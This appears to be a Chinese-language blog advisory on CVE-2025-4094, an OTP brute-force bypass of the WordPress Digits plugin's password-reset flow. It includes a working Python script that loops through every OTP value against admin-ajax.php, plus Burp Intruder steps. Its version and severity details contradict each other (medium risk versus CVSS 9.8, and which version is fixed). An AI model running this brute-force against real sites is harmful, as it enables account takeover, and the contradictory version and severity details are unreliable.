WordPress Digits插件OTP暴力破解认证绕过漏洞分析

本文详细分析了WordPress Digits插件8.4.6.1版本存在的OTP暴力破解漏洞,该漏洞由于缺乏速率限制机制,攻击者可通过暴力破解OTP绕过身份验证或密码重置功能。

WordPress Digits插件8.4.6.1认证绕过漏洞分析

漏洞信息

  • 风险等级: 中等
  • 本地利用: 否
  • 远程利用: 是
  • CVE编号: CVE-2025-4094
  • CWE分类: CWE-287(身份验证不当)

漏洞描述

WordPress Digits插件8.4.6.1之前版本由于缺少速率限制机制,存在OTP暴力破解漏洞。攻击者可通过迭代尝试所有可能的OTP值来绕过身份验证或密码重置功能。

技术细节

该漏洞证明概念主要针对"忘记密码"流程,但同样适用于注册流程。攻击者可以通过以下两种方式进行利用:

方法一:Python脚本自动化攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

def brute(otp):
    url = "https://example.com/wp-admin/admin-ajax.php"
    data = {
        "login_digt_countrycode": "+",
        "digits_phone": "000000000",
        "action_type": "phone",
        "sms_otp": otp,
        "otp_step_1": "1",
        "instance_id": "xxxxxxx",
        "action": "digits_forms_ajax",
        "type": "forgot",
        "forgot_pass_method": "sms_otp",
        "digits": "1",
        "digits_redirect_page": "//example.com/",
        "digits_form": "xxxxxxxx",
        "_wp_http_referer": "/?login=true"
    }
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": "https://example.com/?login=true"
    }
    response = requests.post(url, data=data, headers=headers)
    if '"success":true' in response.text:
        print(f"[+] OTP FOUND: {otp}")
        exit()

def main():
    for otp in range(0, 10000): # 4位OTP范围
        otp_str = f"{otp:04d}"
        print(f"[*] Trying OTP: {otp_str}")
        brute(otp_str)

if __name__ == "__main__":
    main()

方法二:Burp Suite Pro手动攻击

  1. 使用Burp Proxy拦截OTP验证请求
  2. 将请求发送到Intruder模块
  3. 标记sms_otp参数为载荷位置
  4. 加载从000000999999的载荷列表(针对6位OTP)
  5. 开始攻击并监控不同的响应状态码、长度或成功消息

安全影响

  • CVSS v3.1评分: 9.8(严重)
  • OWASP分类: A2 - 身份验证失效
  • 攻击者可未经授权访问用户账户

修复建议

升级至Digits插件8.4.6.1或更高版本,确保实施适当的速率限制机制防止暴力破解攻击。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计